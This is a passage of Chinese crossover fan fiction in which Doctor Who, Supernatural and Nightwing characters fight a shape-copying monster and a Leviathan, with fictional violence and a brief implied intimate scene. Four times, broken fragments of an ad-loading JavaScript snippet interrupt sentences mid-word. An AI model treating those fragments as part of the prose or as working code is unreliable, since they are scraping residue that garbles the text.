“你现在在哪儿?” “呃,她家门口。” 伊琳琢磨了一下,指尖点了点下巴:“以你的音量,她大概已经发现你的到来了。” “想诈骗,你找错人了!”隐隐约约又怒气冲冲的声音从电话那头传来,“我数三声,再不走我就开枪了。” “我走了。”风声再一次响起,“我又回来了。” 世界一下子安静了。 伊琳能从这片寂静里听出那位网名叫做英帕拉之梦的姑娘脑海中猛烈的头脑风暴。 “呜呼,她开门了!”闪电小子愉快地向伊琳同步着情况,“我先挂了,马上完成任务!” 二十分钟后,当伊琳再一次接起闪电小子的通讯,那头并没有传来预料之中的邀功声。 “呃,”闪电小子听起来非常犹豫,“她想和温彻斯特兄弟视频。” 坐在一旁的迪恩和萨姆差点跳起来。 “等一等,她到底是怎么知道他俩的存在的?我以为我们说好的是你告诉她有魔法师用她的故事制造出了一种怪物,需要她的帮忙才能杀死怪物?” “是的......”闪电小子讷讷道,“但我还没说话,她就问了我一个问题。” “什么问题?” “她问我鸟闪是不是真的。” “什么是鸟闪?”迪恩问。 伊琳脑海中闪过自己曾经搜索夜翼时在论坛上扫到的种种,难以回答这个问题。 “然后呢?”她问。 “然后我的反应或许有一点过激。”他顿了顿,小心翼翼地补充道,“开口的时候可能比我思考得快了一些。” “我否认了,顺便连着温彻斯特兄弟的故事一起否认了。” ……他当时差点跳了起来,差点从垂直的墙壁一路跑到天花板倒立:“不,假的!我和他只是好朋友,好兄弟,虽然没有血缘关系,但就像温彻斯特兄弟那种!” “不,不要用那种眼神看着我!温彻斯特 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 兄弟只是兄弟,他们真的没有你写的那种关系!连蝙蝠侠都可以作证!” 然后他就看见眼前这位红发姑娘的眼睛亮了起来:“所以他们是真实存在的?” “然后我就把幻人的事全说了。”闪电小子心虚地说。 英帕拉之梦,这位真名叫爱丽森的姑娘有着一双琥珀色的眼睛,从视频中看见迪恩和萨姆的那一刻,她的眼睛睁得像第一次抓住老鼠的家猫。 “天呐,”她用一种像是在做梦一样的语气说道,“你们和我想象得一模一样。” “呃,爱丽森,”萨姆硬着头皮开口道,“我们需要你的帮助。” “当然,不,我是说,先等等。”她不知从什么地方拿出了一本笔记本,熟练地翻到了写着字的一页,“我准备了一些想对你们说的话。” “呃,虽然我之前不知道你们真的存在,但显然,多做准备总是有好处的。” 接着,塔迪斯里的所有人就听到了一段对温彻斯特勇气与牺牲的夸赞和彩虹屁,以及......一段非常真挚的劝人出柜的演讲。 ……好吧,或许没那么直接,但她的潜台词在不断重复的“有时候人在朝夕相处如同一体的时候反而不会去审视自己的感情”里变得异常明显。 迪恩的笑容僵硬在脸上:“我们或许可以跳过这段。不过,还是谢谢你对我们的肯定。当然,我是说关于猎魔的,不是说......其它的。” “哦哦,好,当然。”爱丽森合上的笔记本,充满暗示性地眨了眨眼,“需要一些时间和空间,当然,我懂的。” “......不,我不觉得你懂了。”迪恩无奈地抬眼看天花板调整心情。 “呃,爱丽森,我想闪电小子已经和你说过我们联系你的原因了。”萨姆说,“可不可以请你修改一下你故事里怪物的设定?让他容易被杀死什么的。” “当然。”爱丽森一下子又精神起来,“看到你们之后我又有了新的想法,我知道应该怎么修改了。” 她快速地转回电脑前,噼里啪啦地开始敲击键盘:“纳西索斯爱上自己水中的倒影、爱而不得而死去,只有对他人毫无保留的爱才能让他惭愧而死。只有真爱的两个人才能合力杀死纳西索斯。” “等等,”迪恩忍无可忍,“你就不能写个正常些的方式?比如说,他能被一枪打死之类的?” 爱丽森眨了眨眼:“那萨姆和迪恩就不能意识到他们是冲破世俗禁忌的真爱了。” “他们不需要知道。不,我是说,他们之间根本不存在爱情!” 杰克边笑边探头过来插了句话:“你可以写那个怪物能被枪杀死,或者因为看到我的帅气自惭形秽而死,这从纳西索斯的背景上来说得通。” “你们该让爱丽森决定,”伊琳说了一句公道话,“如果读者不对修改的情节买账的话,幻人依旧不会产生变化。” 爱丽森斟酌了一会儿,最终修改成了纳西索斯见到愿意为彼此牺牲的两个人后,因为自己没有对他人付出过真情而惭愧至死。 “这根本一点道理都没有。”伊琳实话实说。 迪恩疲惫地叹了口气:“就这样吧。” 67.风平浪不静的第五天 天气出人意料地回暖了些,山顶上阳面的积雪都融化了,只剩下草根处的一点白霜。一路走来,伊琳亮面的靴子上沾了些许湿润的泥土,等到了山阴处,她踩进雪堆里蹦哒了几下,让雪将靴子擦干净了。 迪恩端了把长杆的步枪,用枪管拨开山道上过长的杂草,表情严肃认真,动作端正谨慎。萨姆看到他的表情被带得紧张了一瞬,很快就反应过来他正在模仿西部片里狩猎时的模样,忍俊不禁地摇了摇头,大踏步从被迪恩枪管扫平的草地上迈了过去。 “你说这溪里到底能不能钓到鱼?我还真有点想念鱼类的油脂了。”杰克落在后面和博士搭话。 博士难以置信地看向他:“有五个人的尸体在下游被发现了,就算有鱼,谁知道它们吃过什么东西。” 杰克耸耸肩:“只要你在一个地方待久了就会发现,没有一片土地、一处水源是没触碰过死人的,所以我一般不去想他。” “谢谢提醒,我意识到了。所以我更想等到大自然的自体净化以后再去享受自然的馈赠。” 山背面依旧结着薄冰的溪流没有安稳地净化着自身,倒是给他们送上了一个破冰而出的纳西索斯。 迪恩拎着枪站在最前方,眼睁睁看着眼前的怪物和他同步地歪了一下头。 “好吧,我从来没有看自己那么不顺眼过。”他拉动保险栓,举起步枪,在按下板机的前一刻感到了一丝不安,下意识地抬了一下枪口。 事实证明他这个举动是正确的,下一秒,他就被后坐力和枪伤的共同作用激得退了一步,手摸到肩头沾上了一手黏腻的血液。 纳西索斯也吃痛地低吼了一声,按住肩微微低下身子,摆出了攻击的姿态。 “迪恩!”萨姆惊叫。 迪恩抬起未受伤的手阻止他过来:“我没事。”他攥紧拳头,黏腻的感觉在掌心扩散开来,他才意识到满手都是刚才蹭到的鲜血。低头看了眼自己今天穿的衣服,非常不情不愿地在牛仔裤上把手蹭干净了。 “好吧,”他扔下枪,原地蹦跳了几步,“让我们再试试看。” 拳头向纳西索斯的脸击打过去。 纳西索斯只微微偏了下头,用脸颊接了拳头卸力,自己同时间出手朝着迪恩的太阳穴打过去。 迪恩退后一步,除了被擦到的太阳穴让他头昏脑胀之外,脸颊上被猛击一拳的感觉依旧残留着,嘴里满是伤到牙齿后的血腥气。 他啐了一口血沫:“这和爱丽森说得可不太一样。” 纳西索斯并没有留给他说更多俏皮话的时间,两个拳头夹击,同时挟着拳风向他的脖子打过来。 迪恩下意识踹出一脚,然后就因为下腹的痛感而弯下了腰。 “他没有变!爱丽森到底改没改故事?”迪恩在纳西索斯的下一拳到达之前支起手臂护在面门,边打——更像是边单方面地挨打——边退,“还是说我们缺了什么条件?” “也许得是爱丽森说的字面意思,我们得证明能为彼此牺牲。”萨姆飞快地从山坡上冲下来,飞踹在纳西索斯的胳膊上。 迪恩痛呼一声,捧住了自己的胳膊:“嘿,看着些。” 此时萨姆成为了离纳西索斯最近的那个人。纳西索斯的脸瞬间融化了,五官模糊成一团,又很快拔高了身子,鼻梁从模糊的烂肉里长了出来,又开出几个孔洞。 几秒后,萨姆就对上了自己的脸,以及一个健康无比、不带任何伤痕的敌人。 “哦,”迪恩踉跄地后退几步,在博士的搀扶中站稳了,抱怨道,“现在我成了唯一受伤的那个了。” 当然,他也很快就不是唯一了,因为萨姆和他接受了相同的命运,一瘸一拐地败下阵来。 “爱丽森改的内容肯定没用。”迪恩说。 “或者我们确实遗漏了什么条件。”萨姆说。 “比如说相爱?”伊琳插话。 萨姆迅速改了口:“我想爱丽森的设定的确没有奏效。” “也许他根本不是幻人。”博士说,“说不定就是有一种叫纳西索斯的生物有着这样的习性,因为某种宇宙频率共振让爱丽森从梦里知道了这件事并把它写了下来。” 迪恩怀疑地眯起眼睛:“还能有这种事?” “我瞎猜的。”博士摆了摆手,“但宇宙之大无奇不有,谁知道呢。” 伊琳比退到后面的迪恩和萨姆靠前面半个身位,纳西索斯的面孔再一次融化,身高开始缩水。 杰克走过来把伊琳扒拉到后面去,纳西索斯的缩水停顿了一秒,又重新开始长高。 “不管他是什么,”杰克笑得露出了一排牙齿,以一种站在酒吧中心吸引所有人目光的优雅脱起了身上的大衣,“我们至少知道有一种方法可以杀了他。” 伊琳的脸色阴沉了下去。 萨姆和迪恩一边捂着伤处一边不明所以地对视一眼:“呃,我以为我们就是在讨论该怎么杀他......” ……同归于尽应该不算一种方法吧。毕竟只是一个普通的小怪物,又不是路西法那种存在。 “伊琳,帮我拿着。”杰克非常顺手地就将大衣扔给了伊琳,伊琳不情不愿地抬起手在大衣刚开始下落的时候就揪住了衣服的一角,把它抱了满怀。 杰克转过身冲她眨了下眼:“这材质沾血可是很难洗的。” 伊琳深呼吸了一次,手将衣服攥得死紧,松开后依旧是皱皱巴巴的:她知道这有多难洗,毕竟有好几次机会将这个知识点刻入她的脑海。 博士不赞同地微微皱起眉头,压低了声音轻声喊了句:“上校。” “放心。”杰克带着笑容转过头,从腰间枪套上取下手枪,抬手稳稳地对准变成了他的模样的纳西索斯,嘴角的弧度微微滑落了一点,眼睛犀利地眯了起来,“只需要一枪。” “等等,”萨姆瞪大了眼睛,“你不会是想......” 枪声响起。 两个杰克同时倒下,纳西索斯很快像蜡一样融化在草地上,渗进土里,消失得无影无踪。 杰克睁大了眼睛仰卧在地上,灰蓝色里了无生机,胸口的白衬衫上俨然绽放了一朵血花。 “什么鬼......”迪恩喃喃道,眼神一错不错地看着枪伤的位置:正中心口,毫无偏离。 “他就这么......就这么......”他语无伦次,因为事情过于匪夷所思,他甚至来不及感到悲伤,只下意识看向伊琳和博士想知道他们的反应。 他们看起来......很平静,有一些浅淡的悲痛,和一种破罐子破摔的无可奈何,还有一种轻微的恼怒。 “我讨厌他这么做。”伊琳看着杰克的尸体,双手将二战军大衣抱在胸前,指节攥得发白,又强调了一遍,“真的很讨厌。” “是啊,”博士干巴巴地说,视线从杰克身上滑过,不忍地落在了旁边的空地上,“我也是。” 这或许是自己的错误,博士想。这怎么能不是自己的错误。每一个旅伴,每一个相信他又被他辜负的人......而他能做的只是羞愧地撇开头,不去看他。 他能感到时空定点对于时间能量的扰乱,像是信号不好的电台发出的高频杂音,他忍不住皱起了眉头,全身都在为时空定点复位时的能量波动而不适着。 ……但这次的感觉有些不一样,能量的波动仿佛隔着一层什么似的。 伊琳已经走到杰克身边坐下了,膝盖斜着放在地上,手安抚地贴上他的头发。复活总是痛苦的,更令人不安的是杰克往往无法确定自己苏醒的时候究竟会在什么处境下,让他知道复活时身边有人陪着会让他好受许多。 可伊琳的双腿已经坐得有些发麻了,杰克的伤口却依旧没有愈合的迹象。 伊琳疑惑地皱起了眉头:复活所需的时长往往与死亡方式有关,这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一次只是枪伤,身体完整无缺,按理说不该花费这么长时间。 她下意识朝博士看过去,从博士眼中看到了与她自己相似的茫然与不解。 一阵不安浮上心头。 “为什么......为什么那么久他还没......” “我不知道。”博士掏出了音速起子,对着周围验看了一圈,“我能感受到时空定点依然在那里,只是......这一次恢复得很慢。” 他顿了顿,转头看向捂着伤口一脸迷惑的温彻斯特兄弟:“你们可以先回塔迪斯疗伤,等杰克醒了我们就回去。” 萨姆的眼睛微微睁大了,偏了偏头,像是不相信自己的耳朵:“等杰克......醒了?” “哦我们没说过吗?”博士的语气像是在说他对花生过敏一样轻易,“杰克不会死。” 萨姆缓缓眨了眨眼,将这句话消化了几遍:“不会死是什么意思?” “字面意思。”博士这会儿很专心地看着自己手里的音速起子,说话有些含糊,“他会短暂地死去,只是总是会回来。他是宇宙中的定点。就是,一次意外。” 萨姆和迪恩对视了一眼,在他们的想法里,莫名其妙的复活背后总是有些隐藏更深的阴谋。 “那我想我们最好还是留下来看看。哇哦,看人复活,百看不厌啊。” 迪恩浮夸的语气和稀烂的借口只得来萨姆的一瞥,博士和伊琳的神情愈发凝重。 “你感觉到了吗?”伊琳问。 “是的。”博士快步走到杰克身边蹲下,“时空定点对能量的影响在变弱,有什么东西将他的能量给抽走了。” “怎么会?以前从来没发生过。” 博士沉默了一会儿:“我希望我知道。” 他们陷入了死一般的寂静。伊琳一开始还时不时看一下时间,每一次看都只过了两三分钟。但等时间累计到了二十分钟以后,她只是呆坐在原地,背上的衣服湿了又干。 “这发生过。”博士舔了舔开始干燥起皮的嘴唇,“我听说之前他有一次被吸收了生命能量,过了一天才复活。也许我们该带他进塔迪斯去,这里太冷了。” “我应该阻止他的,”伊琳喃喃说,“我从来不喜欢他不把死亡当一回事,但我为什么没有阻止他。” “伊琳,”博士搭上她的肩膀,“你不可能知道。” 眼眶中渐渐积蓄起眼泪,温热的泪水滑过冬日里干冷的脸颊,伊琳深吸了一口气,压抑住颤抖的声音:“我们带他回塔迪斯吧。” 正当博士托着杰克的肩要把他扶起来时,已经泛青的脸颊突然抽动了一下。蓝色的眼睛慌乱地转动了几下,杰克弹坐起来,大口大口地喘着气。 博士捂着被杰克脑袋撞到的下巴往后一坐,大笑着语无伦次:“你......你......哦,杰克。” “怎么了?”杰克平复了一下呼吸,转头看到眼眶红通通的伊琳,软下语气调侃说,“哭什么?怎么又像是回到小时候了。” 伊琳飞快地抱住了他,大衣滑落在地上,杰克有些不知所措地回抱住伊琳,安抚地拍着她的后背:“嘘,没事了,我没事。” 他抬起头,有些茫然地看向依旧坐在地上大笑的博士。 博士摇了摇头:“你睡的时间可有点长。” “那你们竟然还没有开始布置庆功宴吗?”杰克挑眉,“我还以为我醒来的时候会躺在按摩椅上,手边是香槟。” 伊琳翻了个白眼,拿起大衣塞给他:“你想得美。” 杰克站起身的时候晃了几下,气息有些不稳。伊琳心有余悸地紧张看向他。杰克摆了摆手:“没事,只是有些头晕,感觉有些累。” 他又开了个玩笑:“可能是没睡够。” 伊琳踩了他的鞋子一脚:“不准睡!” 可她还是由衷地扬起了嘴角:好在是一场虚惊。 68.风浪又起的第一天 不知是不是心理作用,进入布鲁德海文后,伊琳总觉得空气中多了些湿漉漉的水汽,带着海风的咸味和铁锈的腥味,让她想起海边废楼上一高一低的两张简陋的铁床。 呼出的气一打到头盔玻璃上就凝结成水珠,伊琳一到空旷处就不耐地将头盔摘下了,长发在风中往后飘去,偶尔飘进了克莱尔的嘴里,激起一连串“呸呸呸”。 天空中下着不大不小的雨,克莱尔在风里艰难地支着伞,随着“嘭”地一声,伞面再一次翻起,雨水被倒翻的伞聚拢,落在两人身上。 克莱尔尝试了几次想将伞面翻下来,却没敌过风的力道,最终冲着伊琳喊道:“我要把伞扔了!” “扔!”伊琳大笑,仰面让雨水打在脸上。伞在地上滚了几圈,停留在荒凉公路旁的草地上。 她喜欢雨水给她带来的感觉,全部的感官被雨滴的重量与风的推力所占据,仿佛这就是她需要对抗的全部。 “你会感冒的。”伊琳突然想起,“你不会想逃课吧。” 克莱尔“哼”了一声:“怎么会。不过如果有人想毁灭世界的话最好快点来,我不想等我复习完了才在期末前等到世界末日。” 伊琳醒悟道:“你应该在做作业。” “是啊,”克莱尔翻了个白眼,“在你把我拖出来飙车之前我是这么想的。” 伊琳顿时觉得有些心虚。 经历了杰克许久没有复活的一场虚惊后,她只是下意识地想寻找生命中更简单的那一部分,一个不会问太多问题、也会参与她偶尔的叛逆的人。 “不过无所谓,”克莱尔耸了耸肩,“哪怕不是你,说不定还有别人来烦我。” “谁?艾薇吗?” 沉默了一会儿,克莱尔才从嘴里吐出一个名字:“卡斯迪奥。” 伊琳微微降了些速度,想将话听得更清楚:“他来找你了?说什么了吗?” “他告诉我,爸爸回到天堂了。”克莱尔的声音很轻,“他说很抱歉吓到了我,还说天堂会加强对灵魂的保护,这种事情以后不会再发生了。” “等等,”伊琳皱起了眉头,“我以为他是堕天使?” “虽然不知道为什么,但他确实回天堂了,看起来还挺受尊重的。他没说几句话就又有个天使来找他,好像有什么事情需要他的指令。” “他现在是天使领袖了?” 克莱尔笑了一声:“是吧,发号施令,听起来和他一点都不搭。” 车轮碾过一个水潭,溅起的水花打湿了两人的裤腿,让克莱尔瞬间忘了刚才的话题,开始抱怨说:“我们到底为什么要来这么远的地方?” “因为我不想在找乐子的时候被蝙蝠侠抓住!” 迪克曾经悄悄和她说过,他喜欢拳拳到肉的打斗——战斗中不断尖叫的危险直觉,迸发的肾上腺素,以及被兴奋模糊的钝痛,精疲力尽到酸软的肌肉——这一切都让人觉得放松,简单直接,毫无花样。 作为火炬木特工,伊琳原本更偏爱用枪支与科技,但随着体术水平的上涨,她逐渐明白了迪克在战斗中所享受的那种东西:简单即时的反馈,打出去的每一记力道都反映在指节的钝痛与擦伤上。不一会儿,她就站在了一地哀嚎的黑/帮/分/子中间。 克莱尔抓着最后一个人往墙上撞去。 下一秒,警笛声逼近了巷口。 “我们接到了报警电话,”警员迪克·格雷森从警车上下来,满脸无奈地说道,“麻烦你们和我走一趟吧。” 伊琳恶狠狠地盯着地上的人们:“谁报的警?” 哀嚎声停滞了。 迪克大声地刻意咳嗽起来。 “你怎么值起夜班了?”上了警车,伊琳一点都没有作为犯罪嫌疑人的自觉,戳了戳开车的迪克。 “原来值夜班的人请假了,人手不够,只好由我顶上。”迪克叹了口气,“你怎么来了?” 伊琳眨了眨眼:“因为夜翼休假,我来补上。” 迪克笑了一声:“布鲁德海文警局可不怎么欢迎义务警察。” “等到了警局我当然不会说自己是替补义警。” “我们是受害者!”伊琳在警局里拍着桌子,言之凿凿,“我从英国来这儿旅游,天呐,我从没见过治安那么糟糕的城市!你们还要因为我自卫而逮捕我?我要投诉!” ……迪克看着眼前的笔录,忍不住笑出声来:确实是自卫,只不过自卫得有些过于频繁,导致当晚的犯罪数量明显下降了。 艾米抱着手臂看伊琳表演,最后拍了拍迪克的肩膀:“放人吧。今晚剩下的时间给你放假。” 她补充了一句:“事假,扣工资的那种。” 迪克的脸垮了下去。 与伊琳在旅店分别时,克莱尔半句都没问伊琳打算住哪儿,只是飞快地关上了门,留伊琳和迪克面面相觑。 “呃,”迪克迟疑道,“我最近找到了一种新口味的麦片。” 伊琳装模作样地点点头:“带我去看看吧,我很感兴趣。” ** “这是什么?”当两人气喘吁吁的分开后,迪克微笑着握住伊琳胸前荡在空中的挂件,被挂件突然闪过的白光吓了一跳,“哇哦,这不止是个装饰?” 伊琳握住他的手,挑起了眉毛,凑近他压低声音说:“这是个封印。没有了它,我就会变出一个黑洞,把你吞到我肚子里。” “我现在担心这个是不是太晚了?”他也学着伊琳压低了声音,凑近她轻吻她的唇角,“我送上门了,你什么时候把我吞进肚子里?” 伊琳轻笑着挡住他:“我说认真的。你知道我能控制少量时空能量,但这个力量不太稳定,爸爸担心我在与生命体接触的过程中失控。” “依然,”迪克说,“担心这个是不是有点晚。还是说——” 他拉长了声音:“我们以前接触得还不全面?” 伊琳大笑着摘下了抵在两人中间的挂坠:“你在向我寻求建议吗?” “嗯哼?” “我的建议是——”她将一个吻印在迪克的眼帘上,“跟着你的心走。” ** 迪克从睡梦中惊醒,翻身而起,落在地上时手里已经拿起了卡里棍,摆出了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 防御的架势。 此时他才回忆起了催醒自己的那一声异响——那是鸟类翅膀的扑棱声。 于是他辨认出了不速之客:“卡斯迪奥?” 尽管如此,他并没有改变防御的姿势,反而在心中罗列起最快能取到圣油的路线......或者也可以考虑取圣水的合理性。 毕竟在如今这个世界上,你光看一个容器,很难判断出里面承载的究竟是天使还是恶魔。 更何况,眼前的卡斯迪奥看起来十分异样。 伊琳醒来时还略有些起床气,哼哼唧唧地踢了下被子,但当她撑起身体,将视线落到卡斯迪奥身上后,所有的困倦都被吓得消失了:“你怎么了?” 卡斯迪奥依旧穿着那件米色的风衣,但衣服比以往还要皱,还沾着斑驳的血迹。任何看到他的人都能瞬间明白血迹的来源:他所有裸露在外的皮肤都有着大范围的溃烂,像是得了极严重的皮肤病,让人担心他身上的皮肉是否会腐坏到难以遮盖住骨头。 他刚张嘴,就弯下腰捂着嘴剧烈地咳嗽起来。当他再一次直起身子后,脸上又有一片皮肉被他方才的动作给撕扯了下来。 “我需要你的帮助。”卡斯迪奥说,“让他们从我的身体里出来。就像你当初把我从超人的身体里分隔开一样。” “谁?” 向来少有明显喜恶展现的卡斯迪奥狠狠说出了一个名字:“利维坦。” 话音刚落,他再一次捂住了腹部;与此同时,伊琳看见他脸上突兀地鼓起了一个包,并且他的嘴角突然不自然地牵了起来,与他惊慌的眼神形成了鲜明对比。 “快!”卡斯迪奥叫道,“我快控制不住了。” 伊琳只能试探性地放出自己的感知,但这一次她的力量像脱缰野马般冲了出去。她来不及细思是为什么,只能勉强收住力量,艰难控制着在卡斯迪奥身体里游走了一圈。 ……乱七八糟的。 若不是之前帮助超人训练时已经熟悉了卡斯迪奥的能量,她甚至都难以在吉米的身体中找到属于卡斯迪奥的荣光。 在那具普普通通的身体里,无数能量球挤在一起,互相拥挤倾轧着,又蔓延出能量织成的巨网,环绕着中心小小一粒纯白色的荣光。白色的荣光不断收缩起伏着从网中汲取能量,但又被挤压在角落里难以动弹。 一团混乱无序的能量在容器中乱撞,并将其他几个小小的能量球给吞噬了。纯白的荣光猛地一缩,卡斯迪奥又弯下腰干呕了一声。 伊琳咬了咬牙,闭上眼睛,伸手想象着自己要厘清一团混乱的毛线球。 随着她的尝试,几团能量球之间开始出现一些空隙,就像她帮助超人抵抗天使附身时一样。 她暗暗松了一口气,但当空隙越来越大,她惊讶地发现自己全然无法阻止空隙的继续扩大。再一看,她才发现周围那几团微小的能量早已不见了踪影。 ……这不是空隙,这是更像是一个黑洞,无声无息地将能量都吞噬了进去。 “离开那具身体!”一会儿的功夫,伊琳已经满头大汗,“卡斯迪奥!我停不下来了!” 69.风浪又起的第二天 伊琳意识到自己对时间的感知出了问题。要不然,在快到卡斯迪奥都来不及反应、仅仅是微微睁大了眼睛的半秒钟里,她怎么能够清楚地看见一个黑洞在卡斯迪奥的皮囊里扩大、收缩、稳定、吞噬的全过程,就像是感知到自己的呼吸。 又或者,她所看到的本就不止这半秒钟,而是这个黑洞从生成到崩塌的一生。整个过程独立于这个宇宙之外,却被她窥见到投在这个世界的一个影子。 只有一小团混沌的能量及时作出了反应,从容器全身的毛孔中钻了出来,化成黏腻的黑色脏污,团在卡斯迪奥脚边。 所有留在体内的力量——包括那纯白的荣光,都与黑洞共同消失了。 穿着米色风衣的身体向后倒下,后背还没来得及触碰到地面留下翅膀的阴影,黑色的污泥就顺着他的脚踝攀爬上去,瞬间包裹了他的全身,形成了一人高的黑色人形怪物。 夜翼镖破空而去,没入黑泥里不见了踪影。 迪克挡在了伊琳身前,看着黑泥塑成的人形歪了歪头,头部翻涌出五官的形状。 黑色霎那间如退潮般消失了,露出一张再熟悉不过的脸。 伊琳骂了一句,觉得快对自己的脸产生心理阴影了,从床头拿起枪,连着扣动板机。 子弹与夜翼镖一样,穿透利维坦身体的样子仿佛落进了沼泽里。 这个怪物看上去刀枪不入。 ……但夜翼对付过许多看起来刀枪不入的怪物。 迪克拎着两节卡里棍冲了上去。 他并没有料到自己的棍子真的能击中利维坦的脖颈,发出沉闷的响声——虽然这是以他腹部中了一拳的代价而换来的。 落地时他滚了一圈,抬起餐桌椅朝着利维坦扔过去。利维坦闷哼一声,紧接着身上淌出熟悉的黑泥,将椅子包裹起来。 为什么他不用这招对付自己? 迪克试探着向利维坦使出一个飞踢,返回来的力道熟悉而实在,就像一个普普通通的人类。 除非他做不到。 夜翼镖再一次没入到利维坦的体内,不留半点痕迹。 看起来利维坦只能以那种形态包裹住死物。在拳拳到肉的战斗中,利维坦与普通人类并没有什么差别。 迪克一个肘击,却被利维坦过肩摔在了地上。 ……好吧,或许有一点区别。利维坦更快,更强壮,或许可以类比超人类? 他的腿弯折出奇怪的角度,缠绕上利维坦的脖子,用力将利维坦砸到了地上。 利维坦咳嗽了一声,揉了揉脖子,露出一个奇异的笑容:“你很棒,远超我记忆中的那些人类。所以,我们为什么要争斗呢?” 迪克翻了个白眼,再一次挥拳狠狠打向利维坦的太阳穴:天呐,他本来以为只有哥谭的反派才特别啰嗦,现在看来每个世界的反派都是那么糟糕。 这一拳被利维坦轻而易举地接下了。 “好吧,我承认,我刚刚是弄死了一个家伙,他和你们还算认识。”利维坦耸了耸肩,“但毕竟这家伙是个天使,而且,我们打到你死我活他也活不过来了。” “不如我们一别两宽?” 迪克的回答是一个飞踹。 “别那么暴躁。”利维坦竟然是以手臂去接的,迪克一个后翻落地,利维坦稳稳地站在原地,毫不受刚才交锋的影响,“我只是想出来,并不打算与你们为敌。” “你到底是什么?” “利维坦。和你们一样,是上帝那个家伙的造物。不过上帝偏心,让人类住伊甸园,却把我们打发去炼狱。”利维坦说,露出一排白花花的牙齿,“所以,我只是在践行自由意志。你们人类不也很喜欢这套吗?” “你想要什么?”伊琳问。 “哦,我只是想找个山明水秀的地方好好生活。顺便——”利维坦笑得灿烂,“再饱餐一顿。” 伊琳眯起眼睛:“那你不介意告诉我你的食谱上有什么吧?” “鸡鸭牛羊鱼猪。”利维坦佯装苦恼地皱起了眉头,“偶尔再来一两个人吧。” “嘿,别着急。”利维坦挡住了迪克的一记拳头,“你看看我的样子,才能吃下多少东西?你们人类有多少,每天死的又有多少,分我点儿根本无足轻重。反正,人类自己也没有放过同类,不是吗?” “你不是也这样认为吗?”和自己一模一样的眼睛直直看向伊琳,利维坦用手指点了点太阳穴,“这个小脑瓜里不是一直怀疑着这点吗?” 伊琳攥紧了拳头。 “人类有什么值得拯救的呢?幼年期人类身上就已经反映出所有的劣根性啦,自私,充满恶意,为了一点点利益就相互倾轧。你知道的。”利维坦冲着伊琳点点头,又看向迪克,咧开了嘴,“你也知道。青少年感化中心的那些家伙,并不比罪犯更好,不是吗?” “你能读心?” “我能看见你们的记忆。”利维坦望向伊琳,“你见过的那些东西,美妙,令人惊羡。所以你更该知道,放在宇宙里看,人类的文明根本算不上什么。而人类创造的那些东西,存在与否对宇宙而言根本没有区别。那么,你为什么要为了所谓人类,而排斥其他种族的胜利呢?” “你们,愿意站出来的这一批人,已经是人类里最好的一批了,却为了那些次品去牺牲自己,不觉得荒唐吗?” 伊琳一步步走近了利维坦。 而迪克却悄悄地在利维坦没注意的时候闪身进了储藏室。 “我从不觉得人类有什么值得拯救的。”伊琳轻声说,“人类,作为一个种族,和其他种族不一样的只有名字罢了。我见过好几个种族的消亡,能时间旅行的人们将其当作展览而售票。这没什么稀奇的。” 利维坦得意地笑了。 “但当我遇见一个人、并与之交谈,他对我来说,就不仅仅是一个人类了。”伊琳说,“他不再是一个种族中的一个,而是与众不同的个体。我不在救人类,我在救他们。” “我并不认识所有的人,但我想,他们值得一个机会去认识更多人。也许总会有人发现他们是值得拯救的,哪怕不是我。” 利维坦的笑意消失了:“但你认识的人大多都是些傻子。你没有在救他们,你在看着他们送死。” “或许对他们来说,找死是活着的一种方式。我已经放弃纠正 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这一点了。”伊琳歪了歪头,余光里看见迪克提着一个大桶出来,“现在,你猜不猜得到我在想什么?” 利维坦皱起眉头,认真打量着伊琳。 伊琳已经快速后退,拉开了和利维坦的距离,正巧躲过了桶里飞溅而出的液体和里面夹杂的乱七八糟的东西。 利维坦的皮肤上蒸腾出白色的雾气,痛苦地在地上翻滚,却在碰到地上液体时发出更剧烈的嘶嘶响声。 “你放了些什么?” “圣水,圣油,盐,胡椒,香料,洗洁精,消毒水,大蒜......太多了。”迪克说,“康斯坦丁说得还真对。” “他说什么?” “如果遇到子弹打不死的怪物,就试试常见的家居用品,总有奇效。康斯坦丁说,这或许是上帝对人类的偏爱。” 出乎伊琳意料的是,虽然利维坦的表现无比痛苦,他却依旧强撑着开口,大喊道:“上帝已经放弃人类了!” “哇哦,”伊琳感慨说,“他听起来真像是那群天使。” “我从那只天使眼睛里看到的,”利维坦说,“在天堂深处,那里还有上帝力量的残留,很新,绝对不超过十年。上帝没有离开,他只是不想出现。” 利维坦突然大笑起来:“他以为如果他建设好天堂上帝就会回来,但上帝只是将他留给了我。” 他的声线奇异地拐了个弯:“留给了我们。” 他的身体像烈日下的冰淇淋一般融化了,化作一缕缕黑色的污泥,绕过地上的积水,向着四面八方淌去,转眼就不见了踪影。 迪克变了脸色:“他竟然不止是一个。我们必须马上告诉正义联盟。” 伊琳垂下眼睛,看着眼前一片狼藉的地面,找不到有关卡斯迪奥的一点痕迹。 她沉默地走到床头,将纳米薄膜挂坠重新戴上并激活。 “还得告诉迪恩和萨姆一声。”她轻声说。 连同卡斯迪奥死去的消息一起。 ** 迪恩听到消息的时候,神情颇有些皮笑肉不笑的意味。 “这不好笑。”他说。 “这不是一个笑话。”伊琳说。 “好吧,所以说,卡斯这么长时间不出现、不接电话,突然来找你,结果他死了,怪物跑出来了?”迪恩语速越来越快,“那么卡斯的尸体呢?在哪儿?” 伊琳艰难地说:“被利维坦吞掉了。” 迪恩的喉结滚动:“那么,你说的是真的?他什么都没有留下?” 伊琳摇了摇头。 迪恩从喉咙里发出了一声气音,像是叹息,又像是一声失败的笑。 “迪恩,”萨姆的脸色微变,“有些事不对劲。” “是啊,”迪恩突然爆发了,“卡斯死了,在米迦勒和路西法一起掉进笼子里之后。我看不出整件事有哪个地方是对劲的。” “我是说......”萨姆结结巴巴地说,“我看过这一段故事,卡斯被身体里的怪物杀死了之类的。” “爱丽森写的那篇小说,就是我和你,卡斯迪奥和克劳利的那个......”萨姆的声音低了下去,“记得吗?” 70.风浪又起的第三天 